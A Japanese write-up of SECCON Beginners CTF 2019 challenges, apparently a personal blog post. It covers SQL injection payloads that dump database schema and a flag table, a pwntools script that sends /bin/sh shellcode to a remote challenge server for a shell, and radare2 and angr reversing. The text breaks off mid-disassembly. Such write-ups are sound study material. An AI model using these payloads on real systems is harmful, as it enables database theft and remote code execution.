SECCON Beginners CTF 2019 Writeup

大した問題解いてないけど備忘録としてとりあえず残しておく

Misc

[warmup] Welcome

SECCON Beginners CTFのIRCチャンネルで会いましょう。
IRC: freenode.net #seccon-beginners-ctf

ircで#seccon-beginners-ctfにアクセスする。

f:id:Yunolay:20190527124210p:plain

FLAG : ctf4b{welcome_to_seccon_beginners_ctf}

containers

Let's extract files from the container.

コンテナらしいのでとりあえずforemostしてみる。

$ file e35860e49ca3fa367e456207ebc9ff2f_containers 
e35860e49ca3fa367e456207ebc9ff2f_containers: data

$ foremost e35860e49ca3fa367e456207ebc9ff2f_containers 
Processing: e35860e49ca3fa367e456207ebc9ff2f_containers
|*|

$ cd output/png 
$ ls
00000000.png  00000011.png  00000025.png  00000038.png  00000052.png
00000001.png  00000013.png  00000027.png  00000040.png  00000053.png
00000002.png  00000015.png  00000028.png  00000042.png  00000055.png
00000003.png  00000016.png  00000030.png  00000043.png  00000056.png
00000005.png  00000018.png  00000032.png  00000045.png  00000058.png
00000007.png  00000020.png  00000033.png  00000046.png  00000060.png
00000008.png  00000021.png  00000035.png  00000048.png  00000061.png
00000010.png  00000023.png  00000037.png  00000050.png

f:id:Yunolay:20190527124736p:plain

FLAG : ctf4b{e52df60c058746a66e4ac4f34db6fc81}

Web

[warmup] Ramen

ラーメン https://ramen.quals.beginners.seccon.jp

f:id:Yunolay:20190527125119p:plain

店員名前を検索するフォームがある。 とりあえずいつものSQLiしてみる

admin' or 1=1;#

f:id:Yunolay:20190527125331p:plain

UNION SELECTで必要なカラム数を確認する。

' union select 0,1; #

f:id:Yunolay:20190527125438p:plain

Dump in One Shotでテーブル名とかを取得する。

DIOS the SQL Injectors Weapon (Upgraded)

' union select 0,(select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_name,0x3a,column_name))))a); #

f:id:Yunolay:20190527125856p:plain

flag:flagにフラグがあるらしい。

' union select 0,flag from flag; #

f:id:Yunolay:20190527130046p:plain

FLAG : ctf4b{a_simple_sql_injection_with_union_select}

katsudon

Rails 5.2.1で作られたサイトです。

https://katsudon.quals.beginners.seccon.jp

クーポンコードを復号するコードは以下の通りですが、まだ実装されてないようです。

フラグは以下にあります。 https://katsudon.quals.beginners.seccon.jp/flag

# app/controllers/coupon_controller.rb class CouponController < ApplicationController def index end

def show serial_code = params[:serial_code] @coupon_id = Rails.application.message_verifier(:coupon).verify(serial_code) end end

https://katsudon.quals.beginners.seccon.jp/flag

f:id:Yunolay:20190527130302p:plain

BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052a

base64 decodeしたらflag取れた。 問題のミスらしい

..I"%ctf4b{K33P_Y0UR_53CR37_K3Y_B453}.:.ETÑ×.í÷.ß.ßï._{ÇZó_^uÝ<Õ.ÚïvúÓ..

FLAG : ctf4b{K33P_Y0UR_53CR37_K3Y_B453}

Pwnable

[warmup] shellcoder

nc 153.120.129.186 20000 file

$ file shellcoder 
shellcoder: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=acce612539763567a2d3dafd22431e476f32fb72, not stripped
$ r2 shellcoder 
 -- Pass '-j' to rabin2 to get the information of the binary in JSON format.
[0x000007c0]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Enable constraint types analysis for variables
[0x000007c0]> afl
0x00000000    2 25           loc.imp._ITM_deregisterTMCloneTable
0x00000710    3 23           sym._init
0x00000740    1 6            sym.imp._exit
0x00000750    1 6            sym.imp.puts
0x00000760    1 6            sym.imp.mmap
0x00000770    1 6            sym.imp.setbuf
0x00000780    1 6            sym.imp.strchr
0x00000790    1 6            sym.imp.alarm
0x000007a0    1 6            sym.imp.read
0x000007b0    1 6            sym..plt.got
0x000007c0    1 42           entry0
0x000007f0    4 50   -> 40   sym.deregister_tm_clones
0x00000830    4 66   -> 57   sym.register_tm_clones
0x00000880    5 58   -> 51   entry.fini0
0x000008c0    1 10           entry.init0
0x000008ca    1 77           entry.init1
0x00000917    7 233          main
0x00000a00    4 101          sym.__libc_csu_init
0x00000a70    1 2            sym.__libc_csu_fini
0x00000a74    1 9            sym._fini
[0x000007c0]> s main
[0x00000917]> pdf
/ (fcn) main 233
|   int main (int argc, char **argv, char **envp);
|           ; var int32_t var_8h @ rbp-0x8
|           ; DATA XREF from entry0 (0x7dd)
|           0x00000917      55             push rbp
|           0x00000918      4889e5         mov rbp, rsp
|           0x0000091b      4883ec10       sub rsp, 0x10
|           0x0000091f      41b900000000   mov r9d, 0
|           0x00000925      41b8ffffffff   mov r8d, 0xffffffff         ; -1
|           0x0000092b      b921000000     mov ecx, 0x21               ; '!'
|           0x00000930      ba07000000     mov edx, 7
|           0x00000935      be00100000     mov esi, 0x1000
|           0x0000093a      bf00000000     mov edi, 0
|           0x0000093f      e81cfeffff     call sym.imp.mmap           ; void*mmap(void*addr, size_t length, int prot, int flags, int fd, size_t offset)
|           0x00000944      488945f8       mov qword [var_8h], rax
|           0x00000948      488d3d390100.  lea rdi, str.Are_you_shellcoder ; 0xa88 ; "Are you shellcoder?"
|           0x0000094f      e8fcfdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x00000954      488b45f8       mov rax, qword [var_8h]
|           0x00000958      ba28000000     mov edx, 0x28               ; '('
|           0x0000095d      4889c6         mov rsi, rax
|           0x00000960      bf00000000     mov edi, 0
|           0x00000965      e836feffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x0000096a      488b45f8       mov rax, qword [var_8h]
|           0x0000096e      be62000000     mov esi, 0x62               ; 'b'
|           0x00000973      4889c7         mov rdi, rax
|           0x00000976      e805feffff     call sym.imp.strchr         ; char *strchr(const char *s, int c)
|           0x0000097b      4885c0         test rax, rax
|       ,=< 0x0000097e      7558           jne 0x9d8
|       |   0x00000980      488b45f8       mov rax, qword [var_8h]
|       |   0x00000984      be69000000     mov esi, 0x69               ; 'i'
|       |   0x00000989      4889c7         mov rdi, rax
|       |   0x0000098c      e8effdffff     call sym.imp.strchr         ; char *strchr(const char *s, int c)
|       |   0x00000991      4885c0         test rax, rax
|      ,==< 0x00000994      7542           jne 0x9d8
|      ||   0x00000996      488b45f8       mov rax, qword [var_8h]
|      ||   0x0000099a      be6e000000     mov esi, 0x6e               ; 'n'
|      ||   0x0000099f      4889c7         mov rdi, rax
|      ||   0x000009a2      e8d9fdffff     call sym.imp.strchr         ; char *strchr(const char *s, int c)
|      ||   0x000009a7      4885c0         test rax, rax
|     ,===< 0x000009aa      752c           jne 0x9d8
|     |||   0x000009ac      488b45f8       mov rax, qword [var_8h]
|     |||   0x000009b0      be73000000     mov esi, 0x73               ; 's'
|     |||   0x000009b5      4889c7         mov rdi, rax
|     |||   0x000009b8      e8c3fdffff     call sym.imp.strchr         ; char *strchr(const char *s, int c)
|     |||   0x000009bd      4885c0         test rax, rax
|    ,====< 0x000009c0      7516           jne 0x9d8
|    ||||   0x000009c2      488b45f8       mov rax, qword [var_8h]
|    ||||   0x000009c6      be68000000     mov esi, 0x68               ; 'h'
|    ||||   0x000009cb      4889c7         mov rdi, rax
|    ||||   0x000009ce      e8adfdffff     call sym.imp.strchr         ; char *strchr(const char *s, int c)
|    ||||   0x000009d3      4885c0         test rax, rax
|   ,=====< 0x000009d6      7416           je 0x9ee
|   |||||   ; CODE XREFS from main (0x97e, 0x994, 0x9aa, 0x9c0)
|   |````-> 0x000009d8      488d3dc10000.  lea rdi, str.Payload_contains_invalid_character ; 0xaa0 ; "Payload contains invalid character!!"
|   |       0x000009df      e86cfdffff     call sym.imp.puts           ; int puts(const char *s)
|   |       0x000009e4      bf00000000     mov edi, 0
|   |       0x000009e9      e852fdffff     call sym.imp._exit          ; void _exit(int status)
|   |       ; CODE XREF from main (0x9d6)
|   `-----> 0x000009ee      488b55f8       mov rdx, qword [var_8h]
|           0x000009f2      b800000000     mov eax, 0
|           0x000009f7      ffd2           call rdx
|           0x000009f9      b800000000     mov eax, 0
|           0x000009fe      c9             leave
\           0x000009ff      c3             ret
[0x00000917]> 

readした文字列に'b' 'i' 'n' 's' 'h'がないか確認している。

0x00000965      e836feffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x0000096a      488b45f8       mov rax, qword [var_8h]
|           0x0000096e      be62000000     mov esi, 0x62               ; 'b'
|           0x00000973      4889c7         mov rdi, rax
|           0x00000976      e805feffff     call sym.imp.strchr         ; char *strchr(const char *s, int c)

(snip)

そのままshellcodeを送れば回避できる。

from pwn import *

def send_payload(payload):
    log.info("payload = %s" % repr(payload))
    r.send(payload)
    return

def sendline_payload(payload):
    log.info("payload = %s" % repr(payload))
    r.sendline(payload)
    return

def print_address(s, addr):
    log.info(s + ' : ' + hex(addr))
    return

binary = './shellcoder'
host ='153.120.129.186'
port = 20000

elf = ELF(binary)
context.binary = binary
# context.log_level = 'debug'

REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'
if REMOTE:
    # remote
    r = remote(host, port)
else:
    # local
    r = process(binary)
    libc = elf.libc

print r.recvuntil('Are you shellcoder?\n')

# Linux/x86-64 - Execute /bin/sh - 27 bytes - shell-storm.org
# http://shell-storm.org/shellcode/files/shellcode-806.php
sc = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

payload = ''
payload += sc

send_payload(payload)

r.interactive()
$ python exploit.py r
[*] '/home/user/Desktop/CTF/Seccon Beginner 2019/Pwn/shellcoder/shellcoder'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 153.120.129.186 on port 20000: Done
Are you shellcoder?

[*] payload = '1\xc0H\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xffH\xf7\xdbST_\x99RWT^\xb0;\x0f\x05'
[*] Switching to interactive mode
$ ls
flag.txt
shellcoder
$ cat flag.txt
ctf4b{Byp4ss_us!ng6_X0R_3nc0de}
[*] Got EOF while reading in interactive

FLAG : ctf4b{Byp4ss_us!ng6_X0R_3nc0de}

FLAG的にXORでbypassするのかな。 ropemporiumでみた(進研ゼミ感)

Reversing

[warmup] Seccompare

$ file seccompare
seccompare: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=4a607c82ea263205071c80295afe633412cda6f7, not stripped

$ ./seccompare
usage: ./seccompare flag

引数にフラグを入れるやつ
radare2で見ると一文字ずつ比較してる

r2 seccompare
 -- One does not simply write documentation.
[0x00400500]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Enable constraint types analysis for variables
[0x00400500]> afl
0x00400498    3 23           sym._init
0x004004c0    1 6            sym.imp.puts
0x004004d0    1 6            sym.imp.__stack_chk_fail
0x004004e0    1 6            sym.imp.printf
0x004004f0    1 6            sym.imp.strcmp
0x00400500    1 42           entry0
0x00400530    1 2            sym._dl_relocate_static_pie
0x00400540    4 42   -> 37   sym.deregister_tm_clones
0x00400570    4 58   -> 55   sym.register_tm_clones
0x004005b0    3 34   -> 29   entry.fini0
0x004005e0    1 7            entry.init0
0x004005e7    9 272          main
0x00400700    3 101  -> 92   sym.__libc_csu_init
0x00400770    1 2            sym.__libc_csu_fini
0x00400774    1 9            sym._fini
[0x00400500]> s main
[0x004005e7]> pdf
/ (fcn) main 272
|   int main (int argc, char **argv, char **envp);
|           ; var int32_t var_40h @ rbp-0x40
|           ; var int32_t var_34h @ rbp-0x34
|           ; var int32_t var_30h @ rbp-0x30
|           ; var int32_t var_2fh @ rbp-0x2f
|           ; var int32_t var_2eh @ rbp-0x2e
|           ; var int32_t var_2dh @ rbp-0x2d
|           ; var int32_t var_2ch @ rbp-0x2c
|           ; var int32_t var_2bh @ rbp-0x2b
|           ; var int32_t var_2ah @ rbp-0x2a
|           ; var int32_t var_29h @ rbp-0x29
|           ; var int32_t var_28h @ rbp-0x28
|           ; var int32_t var_27h @ rbp-0x27
|           ; var int32_t var_26h @ rbp-0x26
|           ; var int32_t var_25h @ rbp-0x25
|           ; var int32_t var_24h @ rbp-0x24
|           ; var int32_t var_23h @ rbp-0x23
|           ; var int32_t var_22h @ rbp-0x22
|           ; var int32_t var_21h @ rbp-0x21
|           ; var int32_t var_20h @ rbp-0x20
|           ; var int32_t var_1fh @ rbp-0x1f
|           ; var int32_t var_1eh @ rbp-0x1e
|           ; var int32_t var_1dh @ rbp-0x1d
|           ; var int32_t var_1ch @ rbp-0x1c
|           ; var int32_t var_1bh @ rbp-0x1b
|           ; var int32_t var_1ah @ rbp-0x1a
|           ; var int32_t var_19h @ rbp-0x19
|           ; var int32_t var_18h @ rbp-0x18
|           ; var int32_t var_17h @ rbp-0x17
|           ; var int32_t var_16h @ rbp-0x16
|           ; var int32_t var_15h @ rbp-0x15
|           ; var int32_t var_14h @ rbp-0x14
|           ; var int32_t var_8h @ rbp-0x8
|           ; arg int argc @ rdi
|           ; arg char **argv @ rsi
|           ; DATA XREF from entry0 (0x40051d)
|           0x004005e7      55             push rbp
|           0x004005e8      4889e5         mov rbp, rsp
|           0x004005eb      4883ec40       sub rsp, 0x40               ; '@'
|           0x004005ef      897dcc         mov dword [var_34h], edi    ; argc
|           0x004005f2      488975c0       mov qword [var_40h], rsi    ; argv
|           0x004005f6      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=-1 ; '(' ; 40
|           0x004005ff      488945f8       mov qword [var_8h], rax
|           0x00400603      31c0           xor eax, eax
|           0x00400605      837dcc01       cmp dword [var_34h], 1
|       ,=< 0x00400609      7f25           jg 0x400630
|       |   0x0040060b      488b45c0       mov rax, qword [var_40h]
|       |   0x0040060f      488b00         mov rax, qword [rax]
|       |   0x00400612      4889c6         mov rsi, rax
|       |   0x00400615      488d3d680100.  lea rdi, str.usage:__s_flag ; 0x400784 ; "usage: %s flag\n"
|       |   0x0040061c      b800000000     mov eax, 0
|       |   0x00400621      e8bafeffff     call sym.imp.printf         ; int printf(const char *format)
|       |   0x00400626      b801000000     mov eax, 1
|      ,==< 0x0040062b      e9b1000000     jmp 0x4006e1
|      ||   ; CODE XREF from main (0x400609)
|      |`-> 0x00400630      c645d063       mov byte [var_30h], 0x63    ; 'c' ; 99
|      |    0x00400634      c645d174       mov byte [var_2fh], 0x74    ; 't' ; 116
|      |    0x00400638      c645d266       mov byte [var_2eh], 0x66    ; 'f' ; 102
|      |    0x0040063c      c645d334       mov byte [var_2dh], 0x34    ; '4' ; 52
|      |    0x00400640      c645d462       mov byte [var_2ch], 0x62    ; 'b' ; 98
|      |    0x00400644      c645d57b       mov byte [var_2bh], 0x7b    ; '{' ; 123
|      |    0x00400648      c645d635       mov byte [var_2ah], 0x35    ; '5' ; 53
|      |    0x0040064c      c645d774       mov byte [var_29h], 0x74    ; 't' ; 116
|      |    0x00400650      c645d872       mov byte [var_28h], 0x72    ; 'r' ; 114
|      |    0x00400654      c645d931       mov byte [var_27h], 0x31    ; '1' ; 49
|      |    0x00400658      c645da6e       mov byte [var_26h], 0x6e    ; 'n' ; 110
|      |    0x0040065c      c645db67       mov byte [var_25h], 0x67    ; 'g' ; 103
|      |    0x00400660      c645dc73       mov byte [var_24h], 0x73    ; 's' ; 115
|      |    0x00400664      c645dd5f       mov byte [var_23h], 0x5f    ; '_' ; 95
|      |    0x00400668      c645de31       mov byte [var_22h], 0x31    ; '1' ; 49
|      |    0x0040066c      c645df73       mov byte [var_21h], 0x73    ; 's' ; 115
|      |    0x00400670      c645e05f       mov byte [var_20h], 0x5f    ; '_' ; 95
|      |    0x00400674      c645e16e       mov byte [var_1fh], 0x6e    ; 'n' ; 110
|      |    0x00400678      c645e230       mov byte [var_1eh], 0x30    ; '0' ; 48
|      |    0x0040067c      c645e374       mov byte [var_1dh], 0x74    ; 't' ; 116
|      |    0x00400680      c645e45f       mov byte [var_1ch], 0x5f    ; '_' ; 95
|      |    0x00400684      c645e565       mov byte [var_1bh], 0x65    ; 'e' ; 101
|      |    0x00400688      c645e66e       mov byte [var_1ah], 0x6e    ; 'n' ; 110
|      |    0x0040068c      c645e730       mov byte [var_19h], 0x30    ; '0' ; 48
|      |    0x00400690      c645e875       mov byte [var_18h], 0x75    ; 'u' ; 117
|      |    0x00400694      c645e967       mov byte [var_17h], 0x67    ; 'g' ; 103
|      |    0x00400698      c645ea68       mov byte [var_16h], 0x68    ; 'h' ; 104
|      |    0x0040069c      c645eb7d       mov byte [var_15h], 0x7d    ; '}' ; 125
|      |    0x004006a0      c645ec00       mov byte [var_14h], 0
|      |    0x004006a4      488b45c0       mov rax, qword [var_40h]
|      |    0x004006a8      4883c008       add rax, 8
|      |    0x004006ac      488b10         mov rdx, qword [rax]
|      |    0x004006af      488d45d0       lea rax, [var_30h]
|      |    0x004006b3      4889d6         mov rsi, rdx
|      |    0x004006b6      4889c7         mov rdi, rax
|      |    0x004006b9      e832feffff     call sym.imp.strcmp         ; int strcmp(const char *s1, const char *s2)
|      |    0x004006be      85c0           test eax, eax
|      |,=< 0x004006c0      750e           jne 0x4006d0
|      ||   0x004006c2      488d3dcb0000.  lea rdi, str.correct        ; 0x400794 ; "correct"
|      ||   0x004006c9      e8f2fdffff     call sym.imp.puts           ; int puts(const char *s)
|     ,===< 0x004006ce      eb0c           jmp 0x4006dc
|     |||   ; CODE XREF from main (0x4006c0)
|     ||`-> 0x004006d0      488d3dc50000.  lea rdi, str.wrong          ; 0x40079c ; "wrong"
|     ||    0x004006d7      e8e4fdffff     call sym.imp.puts           ; int puts(const char *s)
|     ||    ; CODE XREF from main (0x4006ce)
|     `---> 0x004006dc      b800000000     mov eax, 0
|      |    ; CODE XREF from main (0x40062b)
|      `--> 0x004006e1      488b4df8       mov rcx, qword [var_8h]
|           0x004006e5      6448330c2528.  xor rcx, qword fs:[0x28]
|       ,=< 0x004006ee      7405           je 0x4006f5
|       |   0x004006f0      e8dbfdffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       |   ; CODE XREF from main (0x4006ee)
|       `-> 0x004006f5      c9             leave
\           0x004006f6      c3             ret

FLAG : ctf4b{5tr1ngs_1s_en0ugh}

Leakage

$ file leakage 
leakage: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=334440ee47762e207c9830178dfebdf40b63075d, not stripped

$./leakage
usage: ./leakage flag

$ ./leakage a
wrong

これも引数にフラグをいれるやつ

$ r2 leakage
 -- Please register your copy of r2 today! Only £29.90!
[0x00400500]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Enable constraint types analysis for variables
[0x00400500]> afl
0x00400498    3 23           sym._init
0x004004c0    1 6            sym.imp.puts
0x004004d0    1 6            sym.imp.strlen
0x004004e0    1 6            sym.imp.__stack_chk_fail
0x004004f0    1 6            sym.imp.printf
0x00400500    1 42           entry0
0x00400530    1 2            sym._dl_relocate_static_pie
0x00400540    4 42   -> 37   sym.deregister_tm_clones
0x00400570    4 58   -> 55   sym.register_tm_clones
0x004005b0    3 34   -> 29   entry.fini0
0x004005e0    1 7            entry.init0
0x004005e7    9 121          sym.is_correct
0x00400660    7 111          main
0x004006d0    5 1258         sym.convert
0x00400bc0    3 101  -> 92   sym.__libc_csu_init
0x00400c30    1 2            sym.__libc_csu_fini
0x00400c34    1 9            sym._fini

まずはmain関数から

[0x00400500]> s main
[0x00400660]> pdf
/ (fcn) main 111
|   int main (int argc, char **argv, char **envp);
|           ; var int32_t var_10h @ rbp-0x10
|           ; var int32_t var_4h @ rbp-0x4
|           ; arg int argc @ rdi
|           ; arg char **argv @ rsi
|           ; DATA XREF from entry0 (0x40051d)
|           0x00400660      55             push rbp
|           0x00400661      4889e5         mov rbp, rsp
|           0x00400664      4883ec10       sub rsp, 0x10
|           0x00400668      897dfc         mov dword [var_4h], edi     ; argc
|           0x0040066b      488975f0       mov qword [var_10h], rsi    ; argv
|           0x0040066f      837dfc01       cmp dword [var_4h], 1
|       ,=< 0x00400673      7f22           jg 0x400697
|       |   0x00400675      488b45f0       mov rax, qword [var_10h]
|       |   0x00400679      488b00         mov rax, qword [rax]
|       |   0x0040067c      4889c6         mov rsi, rax
|       |   0x0040067f      488d3dfd0500.  lea rdi, str.usage:__s_flag ; 0x400c83 ; "usage: %s flag\n"
|       |   0x00400686      b800000000     mov eax, 0
|       |   0x0040068b      e860feffff     call sym.imp.printf         ; int printf(const char *format)
|       |   0x00400690      b801000000     mov eax, 1
|      ,==< 0x00400695      eb36           jmp 0x4006cd
|      ||   ; CODE XREF from main (0x400673)
|      |`-> 0x00400697      488b45f0       mov rax, qword [var_10h]
|      |    0x0040069b      4883c008       add rax, 8
|      |    0x0040069f      488b00         mov rax, qword [rax]
|      |    0x004006a2      4889c7         mov rdi, rax
|      |    0x004006a5      e83dffffff     call sym.is_correct
|      |    0x004006aa      85c0           test eax, eax
|      |,=< 0x004006ac      740e           je 0x4006bc
|      ||   0x004006ae      488d3dde0500.  lea rdi, str.correct        ; 0x400c93 ; "correct"
|      ||   0x004006b5      e806feffff     call sym.imp.puts           ; int puts(const char *s)
|     ,===< 0x004006ba      eb0c           jmp 0x4006c8
|     |||   ; CODE XREF from main (0x4006ac)
|     ||`-> 0x004006bc      488d3dd80500.  lea rdi, str.wrong          ; 0x400c9b ; "wrong"
|     ||    0x004006c3      e8f8fdffff     call sym.imp.puts           ; int puts(const char *s)
|     ||    ; CODE XREF from main (0x4006ba)
|     `---> 0x004006c8      b800000000     mov eax, 0
|      |    ; CODE XREF from main (0x400695)
|      `--> 0x004006cd      c9             leave
\           0x004006ce      c3             ret

is_correctで比較している

正しい場合

|      ||   0x004006ae      488d3dde0500.  lea rdi, str.correct        ; 0x400c93 ; "correct"
|      ||   0x004006b5      e806feffff     call sym.imp.puts           ; int puts(const char *s)

違った場合

|     ||`-> 0x004006bc      488d3dd80500.  lea rdi, str.wrong          ; 0x400c9b ; "wrong"
|     ||    0x004006c3      e8f8fdffff     call sym.imp.puts           ; int puts(const char *s)

correctとwrongがあればangrさんにとりあえず投げて見るかなって思って投げたらFLAG取れた

参考にしました。 angr-doc/solve.py at master · angr/angr-doc · GitHub

#!/usr/bin/env python
'''
@author Kyle Ossinger (k0ss_sec)
@desc   Tutorial solver for an example program.  I noticed most of the angr
        examples were for solving for a password/flag rather than for finding
        exploitable memory corruptions.  I hope this will lead you on the path
        to finding your own memory corruptions.  Enjoy!

'''python
import angr
import claripy  # It is optimal to use claripy.BVV/BVS over state.solver.BVV/BVS
                # EDITOR'S NOTE: this is somewhat true but it super super does
                # not matter if you're just creating a few variables for
                # initialization. do what's convenient. state.solver.BVS will
                # trigger some instrumentation if people have asked to be
                # notified whenever new variables are created, which doesn't
                # usually happen.

def main():
    '''
     Just a helper function to grab function names from resolved symbols.
     This will not be so easy if the binary is stripped.  You will have to
     open the binary in a disassembler and find the addresses of the
     functions you are trying to find/avoid in your paths rather than using
     this helper function.
    '''
    def getFuncAddress( funcName, plt=None ):
        found = [
            addr for addr,func in cfg.kb.functions.items()
            if funcName == func.name and (plt is None or func.is_plt == plt)
            ]
        if len( found ) > 0:
            print("Found "+funcName+"'s address at "+hex(found[0])+"!")
            return found[0]
        else:
            raise Exception("No address found for function : "+funcName)


    def get_byte(s, i):
        pos = s.size() // 8 - 1 - i
        return s[pos * 8 + 7 : pos * 8]

    '''
     load the binary, don't load extra libs to save time/memory from state explosion
    '''
    project = angr.Project("leakage", load_options={'auto_load_libs':False})
    '''
     Set up CFG so we can grab function addresses from symbols.
     I set the fail_fast option to True to minimize how long
     this process takes.
    '''
    cfg = project.analyses.CFG(fail_fast=True)
    '''
     Get addresses of our functions to find or avoid
    '''
#    addrStrcpy = getFuncAddress('strcpy', plt=True)
#    addrBadFunc = getFuncAddress('func3')
    '''
     Create the list of command-line arguments and add the program name
    '''
    argv = [project.filename]   #argv[0]
    '''
     Add symbolic variable for the password buffer which we are solving for:
    '''
    sym_arg_size = 40   #max number of bytes we'll try to solve for
    '''
     We use 8 * sym_arg_size because the size argument is in BITS, not bytes
    '''
    sym_arg = claripy.BVS('sym_arg', 8*sym_arg_size)
    argv.append(sym_arg)    #argv[1]

    '''
     Add the buffer we will copy in if the password is correct
     When we find a path to strcpy, we will check to make sure
     that this is the value that is being copied!
    '''
    argv.append("HAHAHAHA") # argv[2]

    '''
     Initializes an entry state starting at the address of the program entry point
     We simply pass it the same kind of argument vector that would be passed to the
     program, in execv() for example.
    '''
    state = project.factory.entry_state(args=argv)

    '''
     Create a new SimulationManager from the entry state
    '''
    sm = project.factory.simulation_manager(state)

    '''
     Since we want to find a path to strcpy ONLY where we have control of the
     source buffer, we have to have a custom check function which takes a Path
     as an argument.

     You might be wondering what we should do to instruct angr to find our
     target address since we're replacing the 'find=' argument with this
     'check' function.  Just check p.state.ip.args[0] (the current instruction
     pointer) to make sure we're at our intended path destination before checking
     to make sure the other conditions are satisfied.
    '''
    def check(state):
        if (state.ip.args[0] == addrStrcpy):    # Ensure that we're at strcpy
            '''
             By looking at the disassembly, I've found that the pointer to the
             source buffer given to strcpy() is kept in RSI.  Here, we dereference
             the pointer in RSI and grab 8 bytes (len("HAHAHAHA")) from that buffer.
            '''
            BV_strCpySrc = state.memory.load( state.regs.rsi, len(argv[2]) )
            '''
             Now that we have the contents of the source buffer in the form of a bit
             vector, we grab its string representation using the current state's
             solver engine's function "eval" with cast_to set to str so we get a python string.
            '''
            strCpySrc = state.solver.eval( BV_strCpySrc , cast_to=bytes )
            '''
             Now we simply return True (found path) if we've found a path to strcpy
             where we control the source buffer, or False (keep looking for paths) if we
             don't control the source buffer
            '''
            return True if argv[2].encode() in strCpySrc else False
        else:
            '''
             If we aren't in the strcpy function, we need to tell angr to keep looking
             for new paths.
            '''
            return False
    '''
     Call the function at the entry_state and find a path that satisfies
     the check function.  If you specify a tuple/list/set for find or avoid,
     it translates to an address to find/avoid.  If you just give a function
     it will pass a Path to the function and check to see if the function returns
     True or False and proceed accordingly.

     Here, we tell the explore function to find a path that satisfies our check
     method and avoids any paths that end up in addrBadFunc ('func3')
    '''
    sm = sm.explore(find=0x004006ae, avoid=0x004006bc)

    found = sm.found
    '''
     Retrieve a concrete value for the password value from the found path.
     If you put this password in the program's first argument, you should be
     able to strcpy() any string you want into the destination buffer and
     cause a segmentation fault if it is too large :)
    '''
    if len(found) > 0:    #   Make sure we found a path before giving the solution
        found = sm.found[0]
        result = found.solver.eval(argv[1], cast_to=bytes)
        try:
            result = result[:result.index(b'\0')]
        except ValueError:
            pass
    else:   # Aww somehow we didn't find a path.  Time to work on that check() function!
        result = "Couldn't find any paths which satisfied our conditions."
    return result

def test():
    output = main()
    target = b"Totally not the password..."
    assert output[:len(target)] == target

if __name__ == "__main__":
    print('The password is "%s"' % main())

実行結果

$ python solve.py 
WARNING | 2019-05-25 05:27:35,822 | angr.analyses.disassembly_utils | Your version of capstone does not support MIPS instruction groups.
ERROR   | 2019-05-25 05:27:36,149 | angr.analyses.cfg.cfg_fast | Decoding error occurred at basic block address 0x40052c of function 0x40052c.
The password is "ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}"

FLAG : ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}

Linear Operation

$ file linear_operation 
linear_operation: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=dd95ed8682c3918a875318a938c280741ebd0e65, not stripped

$ ./linear_operation
input flag : a
wrong

今度はscanfで入力するタイプ

r2 linear_operation
 -- Finnished a beer
[0x00400520]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Enable constraint types analysis for variables
[0x00400520]> afl
0x004004b8    3 23           sym._init
0x004004e0    1 6            sym.imp.puts
0x004004f0    1 6            sym.imp.__stack_chk_fail
0x00400500    1 6            sym.imp.printf
0x00400510    1 6            sym.imp.__isoc99_scanf
0x00400520    1 42           entry0
0x00400550    1 2            sym._dl_relocate_static_pie
0x00400560    4 42   -> 37   sym.deregister_tm_clones
0x00400590    4 58   -> 55   sym.register_tm_clones
0x004005d0    3 34   -> 29   entry.fini0
0x00400600    1 7            entry.init0
0x00400607  129 51418 -> 19749 sym.is_correct
0x0040cee1    6 204          main
0x0040cfb0    3 101  -> 92   sym.__libc_csu_init
0x0040d020    1 2            sym.__libc_csu_fini
0x0040d024    1 9            sym._fini
[0x00400520]> pdf
            ;-- section..text:
            ;-- .text:
            ;-- _start:
            ;-- rip:
/ (fcn) entry0 42
|   entry0 (int32_t arg3);
|           ; arg int32_t arg3 @ rdx
|           0x00400520      31ed           xor ebp, ebp                ; [13] -r-x section size 51970 named .text
|           0x00400522      4989d1         mov r9, rdx                 ; arg3
|           0x00400525      5e             pop rsi
|           0x00400526      4889e2         mov rdx, rsp
|           0x00400529      4883e4f0       and rsp, 0xfffffffffffffff0
|           0x0040052d      50             push rax
|           0x0040052e      54             push rsp
|           0x0040052f      49c7c020d040.  mov r8, sym.__libc_csu_fini ; 0x40d020
